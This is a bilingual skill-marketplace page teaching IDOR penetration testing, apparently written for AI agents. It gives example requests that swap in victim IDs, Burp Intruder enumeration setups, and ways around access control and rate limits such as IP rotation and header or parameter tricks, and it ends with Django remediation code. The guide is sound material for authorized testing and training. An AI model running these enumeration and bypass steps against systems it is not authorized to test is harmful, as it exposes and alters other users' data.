IDOR漏洞测试指南：Web应用安全测试与访问控制绕过检测方法

IDOR Vulnerability Testing by automindtechnologie-jpg/ultimate-skill.md

安装命令

npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'IDOR Vulnerability Testing'

🇨🇳中文介绍

IDOR 漏洞测试

目的

提供系统性的方法论，用于识别和利用 Web 应用程序中的不安全直接对象引用（IDOR）漏洞。本技能涵盖数据库对象引用和静态文件引用、使用参数操纵和枚举的检测技术、通过 Burp Suite 进行利用，以及保护应用程序免受未授权访问的修复策略。

输入 / 前提条件

目标 Web 应用程序 ：包含用户特定资源的应用程序 URL
多个用户账户 ：至少两个测试账户以验证跨用户访问
Burp Suite 或代理工具 ：用于请求操纵的拦截代理
授权：进行安全测试的书面许可
对应用程序流程的理解 ：了解对象如何被引用（ID、文件名）

输出 / 交付成果

IDOR 漏洞报告 ：发现的访问控制绕过文档
概念验证 ：跨用户上下文未授权数据访问的证据
受影响的端点 ：易受攻击的 API 端点和参数列表
影响评估 ：数据暴露严重性分类
修复建议 ：针对已识别漏洞的具体修复方案

核心工作流程

1. 理解 IDOR 漏洞类型

直接引用数据库对象

当应用程序通过用户可控参数引用数据库记录时发生：

# Original URL (authenticated as User A)
example.com/user/profile?id=2023

# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022

直接引用静态文件

当应用程序暴露可枚举的文件路径或名称时发生：

# Original URL (User A's receipt)
example.com/static/receipt/205.pdf

# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf

2. 侦察与设置

创建多个测试账户

Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access

识别对象引用

捕获并分析包含以下内容的请求：

URL 中的数字 ID：/api/user/123
参数中的数字 ID：?id=123&action=view
请求体中的数字 ID：{"userId": 123}
文件路径：/download/receipt_123.pdf
GUID/UUID：/profile/a1b2c3d4-e5f6-...

映射用户 ID

# Access user ID endpoint (if available)
GET /api/user-id/

# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns

3. 检测技术

URL 参数操纵

# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session

# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable if: Returns victim's data with attacker's session

请求体操纵

# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{"id": 5, "userId": 1001, "address": "123 Attacker St"}

# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}

HTTP 方法切换

# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden

# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)

4. 使用 Burp Suite 进行利用

手动利用

1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data

使用 Intruder 进行自动化枚举

1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
   - Type: Numbers
   - Range: 1 to 10000
   - Step: 1
6. Start attack
7. Analyze responses for 200 status codes

针对多个位置的 Battering Ram 攻击

# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1

{"id": §5§, "userId": 3}

Attack Type: Battering Ram
Payload: Numbers 1-1000

5. 常见的 IDOR 位置

API 端点

/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete

文件下载

/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx

查询参数

?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com

快速参考

IDOR 测试清单

测试	方法	漏洞指示
递增/递减 ID	将 `id=5` 改为 `id=4`	返回不同用户的数据
使用受害者的 ID	替换为已知的受害者 ID	获得对受害者资源的访问权限
枚举范围	测试 ID 1-1000	找到其他用户的有效记录
负值	测试 `id=-1` 或 `id=0`	意外的数据或错误
大值	测试 `id=99999999`	系统信息泄露

响应分析

状态码	解释
200 OK	潜在的 IDOR - 验证数据所有权
403 Forbidden	访问控制有效
404 Not Found	资源不存在
401 Unauthorized	需要身份验证
500 Error	潜在的输入验证问题

常见的易受攻击参数

参数类型	示例
用户标识符	`userId`, `uid`, `user_id`, `account`
资源标识符	`id`, `pid`, `docId`, `fileId`
订单/交易	`orderId`, ,

约束与限制

操作边界

需要至少两个有效的用户账户进行验证
某些应用程序使用会话绑定令牌而非 ID
GUID/UUID 引用更难枚举但并非不可能
速率限制可能限制枚举尝试
某些 IDOR 需要链式漏洞才能利用

检测挑战

水平权限提升（用户到用户）与垂直权限提升（用户到管理员）
响应不确认访问的盲 IDOR
异步操作中的基于时间的 IDOR
WebSocket 通信中的 IDOR

法律要求

仅测试获得明确授权的应用程序
记录所有测试活动和发现
不得访问、修改或窃取真实用户数据
通过适当的披露渠道报告发现

示例

示例 1：基本的 ID 参数 IDOR

# Login as attacker (userId=1001)
# Navigate to profile page

# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123

# Response: Attacker's profile data

# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123

# Vulnerable Response: Victim's profile data returned!

示例 2：地址更新端点中的 IDOR

# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{
  "id": 5,
  "userId": 1001,
  "street": "123 Main St",
  "city": "Test City"
}

# Modify userId to victim's ID
{
  "id": 5,
  "userId": 1000,  # Changed from 1001
  "street": "Hacked Address",
  "city": "Exploit City"
}

# If 200 OK: Address created under victim's account

示例 3：静态文件 IDOR

# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session

# Response: PDF of attacker's receipt (order #5)

# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable Response: PDF of victim's receipt (order #3)!

示例 4：Burp Intruder 枚举

# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body

Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1

Body Template:
{
  "id": §1§,
  "userId": 3
}

# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses

示例 5：水平到垂直权限提升

# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}

# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session

# If accessible: Vertical privilege escalation achieved

故障排除

问题：所有请求都返回 403 Forbidden

原因：服务器端实施了访问控制 解决方案 ：

# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs

问题：应用程序使用 UUID 而非顺序 ID

原因：随机化标识符降低了枚举风险 解决方案 ：

# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable

问题：会话令牌绑定到用户

原因：应用程序根据请求的资源验证会话 解决方案 ：

# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)

问题：速率限制阻止枚举

原因：应用程序实施了请求节流 解决方案 ：

# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours

问题：无法验证 IDOR 影响

原因：响应未明确指示数据所有权 解决方案 ：

# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)

修复指南

实施适当的访问控制

# Django example - validate ownership
def update_address(request, address_id):
    address = Address.objects.get(id=address_id)
    
    # Verify ownership before allowing update
    if address.user != request.user:
        return HttpResponseForbidden("Unauthorized")
    
    # Proceed with update
    address.update(request.data)

使用间接引用

# Instead of: /api/address/123
# Use: /api/address/current-user/billing

def get_address(request):
    # Always filter by authenticated user
    address = Address.objects.filter(user=request.user).first()
    return address

服务器端验证

# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
    receipt = Receipt.objects.filter(
        id=receipt_id,
        user=request.user  # Critical: filter by current user
    ).first()
    
    if not receipt:
        return HttpResponseNotFound()
    
    return FileResponse(receipt.file)

每周安装数

仓库

automindtechnol…skill.md

首次出现

1970年1月1日

安全审计

Gen Agent Trust HubPass SocketPass SnykPass

🇺🇸English

IDOR Vulnerability Testing

Purpose

Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.

Inputs / Prerequisites

Target Web Application : URL of application with user-specific resources
Multiple User Accounts : At least two test accounts to verify cross-user access
Burp Suite or Proxy Tool : Intercepting proxy for request manipulation
Authorization : Written permission for security testing
Understanding of Application Flow : Knowledge of how objects are referenced (IDs, filenames)

Outputs / Deliverables

IDOR Vulnerability Report : Documentation of discovered access control bypasses
Proof of Concept : Evidence of unauthorized data access across user contexts
Affected Endpoints : List of vulnerable API endpoints and parameters
Impact Assessment : Classification of data exposure severity
Remediation Recommendations : Specific fixes for identified vulnerabilities

Core Workflow

1. Understand IDOR Vulnerability Types

Direct Reference to Database Objects

Occurs when applications reference database records via user-controllable parameters:

广告位招租

在这里展示您的产品或服务

触达数万 AI 开发者，精准高效

联系我们

2. Reconnaissance and Setup

Create Multiple Test Accounts

Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access

Identify Object References

Capture and analyze requests containing:

Numeric IDs in URLs: /api/user/123
Numeric IDs in parameters: ?id=123&action=view
Numeric IDs in request body: {"userId": 123}
File paths: /download/receipt_123.pdf
GUIDs/UUIDs: /profile/a1b2c3d4-e5f6-...

# Access user ID endpoint (if available)
GET /api/user-id/

# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns

3. Detection Techniques

URL Parameter Manipulation

# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session

# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable if: Returns victim's data with attacker's session

Request Body Manipulation

# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{"id": 5, "userId": 1001, "address": "123 Attacker St"}

# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}

HTTP Method Switching

# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden

# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)

4. Exploitation with Burp Suite

1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data

Automated Enumeration with Intruder

1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
   - Type: Numbers
   - Range: 1 to 10000
   - Step: 1
6. Start attack
7. Analyze responses for 200 status codes

Battering Ram Attack for Multiple Positions

# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1

{"id": §5§, "userId": 3}

Attack Type: Battering Ram
Payload: Numbers 1-1000

5. Common IDOR Locations

/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete

/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx

?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com

IDOR Testing Checklist

Test	Method	Indicator of Vulnerability
Increment/Decrement ID	Change `id=5` to `id=4`	Returns different user's data
Use Victim's ID	Replace with known victim ID	Access granted to victim's resources
Enumerate Range	Test IDs 1-1000	Find valid records of other users
Negative Values	Test `id=-1` or `id=0`	Unexpected data or errors
Large Values	Test `id=99999999`	System information disclosure
String IDs	Change format `id=user_123`	Logic bypass
GUID Manipulation	Modify UUID portions	Predictable UUID patterns

Status Code	Interpretation
200 OK	Potential IDOR - verify data ownership
403 Forbidden	Access control working
404 Not Found	Resource doesn't exist
401 Unauthorized	Authentication required
500 Error	Potential input validation issue

Common Vulnerable Parameters

Parameter Type	Examples
User identifiers	`userId`, `uid`, `user_id`, `account`
Resource identifiers	`id`, `pid`, `docId`, `fileId`
Order/Transaction	`orderId`, `transactionId`, `invoiceId`
Message/Communication	`messageId`, `threadId`, `chatId`
File references	`filename`, `file`, `document`, `path`

Constraints and Limitations

Operational Boundaries

Requires at least two valid user accounts for verification
Some applications use session-bound tokens instead of IDs
GUID/UUID references harder to enumerate but not impossible
Rate limiting may restrict enumeration attempts
Some IDOR requires chained vulnerabilities to exploit

Detection Challenges

Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
Blind IDOR where response doesn't confirm access
Time-based IDOR in asynchronous operations
IDOR in websocket communications

Only test applications with explicit authorization
Document all testing activities and findings
Do not access, modify, or exfiltrate real user data
Report findings through proper disclosure channels

Example 1: Basic ID Parameter IDOR

# Login as attacker (userId=1001)
# Navigate to profile page

# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123

# Response: Attacker's profile data

# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123

# Vulnerable Response: Victim's profile data returned!

Example 2: IDOR in Address Update Endpoint

# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{
  "id": 5,
  "userId": 1001,
  "street": "123 Main St",
  "city": "Test City"
}

# Modify userId to victim's ID
{
  "id": 5,
  "userId": 1000,  # Changed from 1001
  "street": "Hacked Address",
  "city": "Exploit City"
}

# If 200 OK: Address created under victim's account

Example 3: Static File IDOR

# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session

# Response: PDF of attacker's receipt (order #5)

# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable Response: PDF of victim's receipt (order #3)!

Example 4: Burp Intruder Enumeration

# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body

Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1

Body Template:
{
  "id": §1§,
  "userId": 3
}

# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses

Example 5: Horizontal to Vertical Escalation

# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}

# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session

# If accessible: Vertical privilege escalation achieved

Issue: All Requests Return 403 Forbidden

Cause : Server-side access control is implemented Solution :

# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs

Issue: Application Uses UUIDs Instead of Sequential IDs

Cause : Randomized identifiers reduce enumeration risk Solution :

# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable

Issue: Session Token Bound to User

Cause : Application validates session against requested resource Solution :

# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)

Issue: Rate Limiting Blocks Enumeration

Cause : Application implements request throttling Solution :

# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours

Issue: Cannot Verify IDOR Impact

Cause : Response doesn't clearly indicate data ownership Solution :

# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)

Remediation Guidance

Implement Proper Access Control

# Django example - validate ownership
def update_address(request, address_id):
    address = Address.objects.get(id=address_id)
    
    # Verify ownership before allowing update
    if address.user != request.user:
        return HttpResponseForbidden("Unauthorized")
    
    # Proceed with update
    address.update(request.data)

Use Indirect References

# Instead of: /api/address/123
# Use: /api/address/current-user/billing

def get_address(request):
    # Always filter by authenticated user
    address = Address.objects.filter(user=request.user).first()
    return address

Server-Side Validation

# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
    receipt = Receipt.objects.filter(
        id=receipt_id,
        user=request.user  # Critical: filter by current user
    ).first()
    
    if not receipt:
        return HttpResponseNotFound()
    
    return FileResponse(receipt.file)

xdrop 文件传输脚本：Bun 环境下安全上传下载工具，支持加密分享

24,700 周安装